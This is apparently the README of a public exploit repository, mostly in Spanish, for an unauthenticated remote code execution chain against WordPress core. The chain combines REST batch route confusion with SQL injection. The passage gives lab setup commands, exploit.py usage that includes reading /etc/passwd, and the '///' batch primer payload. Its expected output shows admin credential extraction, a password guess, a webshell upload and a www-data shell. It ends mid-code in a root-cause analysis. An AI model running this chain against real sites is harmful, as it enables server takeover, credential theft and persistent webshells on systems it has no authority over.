
Exploit RCE no autenticado de WordPress que combina confusión de rutas e inyección SQL. Se proporcionan script automatizado, configuración de laboratorio y análisis detallado de vulnerabilidad.
Vulnerabilidad: REST Batch Route Confusion + WP_Query SQL Injection → RCE completo
CVSS v3.1: 10.0 / 10.0 — CRÍTICO | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Afectado: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Parcheado: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Inicio Rápido
### 1. Configurar el Laboratorio Vulnerable
**Requisitos:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Salida esperada```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| Archivo | Descripción |
|---|---|
README.md | Análisis completo de vulnerabilidades y documento de explotación |
exploit.py | Script de explotación automatizado (acceso cero → RCE en un comando) |
docker-compose.yml | Entorno de laboratorio WordPress vulnerable |
chain-rce.md | Documentación de la cadena RCE automatizada |
images/ | Capturas de pantalla de la explotación manual |
Vulnerabilidad: Ejecución Remota de Código no autenticada — REST Batch Route Confusion + Inyección SQL en WP_Query
CVSS v3.1: 10.0 / 10.0 — CRÍTICA
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 es una vulnerabilidad de RCE no autenticado en el núcleo de WordPress. Combina dos errores independientes en una cadena de explotación completa que va desde acceso cero hasta el compromiso total del servidor:
| CVE | Error | Rol en la cadena |
|---|---|---|
| CVE-2026-63030 | REST Batch Route Confusion | Evadir la autenticación |
| CVE-2026-60137 | author__not_in Inyección SQL | Lectura/escritura arbitraria de la base de datos |
Versiones afectadas:
Condiciones de explotación:
→ La gran mayoría de las instalaciones de WordPress son vulnerables por defecto.
/wp-json/batch/v1)Permite enviar múltiples solicitudes a la API REST dentro de una única solicitud HTTP:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
Cada sub-solicitud se corresponde con su propio manejador, y cada manejador tiene su propio **callback de permisos**.
### WP_Query — `author__not_in`
Clase principal de consulta de base de datos. El parámetro `author__not_in` acepta una matriz de enteros, generando la cláusula SQL:```sql
AND post_author NOT IN (5, 12, 23)
Cada elemento pasa por absint() → conservando solo la parte entera.
wp_parse_url()Envoltorio para parse_url(). Al recibir una URL no válida → devuelve WP_Error.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Causa raíz — Bug A: Confusión de rutas por lotes (CVE-2026-63030)
**Archivo:** `wp-includes/rest-api/class-wp-rest-server.php`
### Código fuente vulnerable:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### ¿Por qué `"///"` desencadena el bug?
Cuando PHP `parse_url()` se encuentra con `"///"`, intenta analizarlo según **RFC 3986** — estructura de URL:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Cuando recibe "///", lo interpreta como:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
Resultado de retorno de PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress wraps this in wp_parse_url() → detects no valid scheme, no valid host, no meaningful path → returns WP_Error.
wp_parse_url("///") returns WP_Error (URL malformed). This error causes the request to be skipped in the loop building $matches, but it is NOT skipped in the dispatch loop → the array becomes desynced.
Archivo: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;